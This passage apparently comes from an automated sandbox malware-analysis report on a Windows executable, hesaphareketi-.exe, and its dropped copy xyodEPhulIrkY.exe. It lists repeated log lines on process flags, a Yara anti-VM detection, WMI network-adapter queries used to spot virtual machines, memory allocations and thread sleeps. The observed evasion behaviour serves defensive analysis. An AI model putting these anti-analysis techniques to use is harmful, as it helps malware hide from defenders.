Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xyodEPhulIrkY.exe PID: 2828, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 2250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 23E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 43E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 61E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 71E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 7340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 8340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 1700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Memory allocated: 5000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: B20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 25B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 45B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 6470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 7470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 75E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 85E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 1130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 2CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Memory allocated: 29F0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199890	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199671	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199234	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199125	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1199015	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198906	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198796	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198687	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198577	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198468	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198359	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198249	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198140	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1198030	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197921	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197802	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197683	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197452	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197209	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1197093	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196984	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196874	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196765	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196656	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196546	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196437	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196328	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196218	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196109	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1196000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195890	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195781	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195671	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195562	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195453	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195343	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195219	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1195059	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194953	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194843	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194734	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194624	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Thread delayed: delay time: 1194515	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199765
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199656
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199437
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199328
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199218
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1199109
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198999
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198890
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198662
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198531
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198421
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198312
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198202
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1198092
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197984
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197765
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197655
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197429
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197312
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197203
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1197093
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196984
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196874
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196764
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196656
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196546
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196437
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196328
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196218
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1196109
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195999
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195888
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195781
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195671
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195562
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195453
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195343
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195234
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195124
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1195014
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194906
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194796
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194687
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194559
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Thread delayed: delay time: 1194452

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window / User API: threadDelayed 1006	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8079	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 634	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6900	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 530	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window / User API: threadDelayed 3000	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Window / User API: threadDelayed 6854	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Window / User API: threadDelayed 1564	Jump to behavior
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Window / User API: threadDelayed 7411
Source: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe	Window / User API: threadDelayed 2449

Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 1896	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 6400	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5304	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 5772	Thread sleep count: 3000 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 5772	Thread sleep count: 6854 > 30	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1199015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1198030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197802s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197683s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197452s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197209s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1197093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1196000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe TID: 4508	Thread sleep time: -1195781s >= -30000s	Jump to behavior
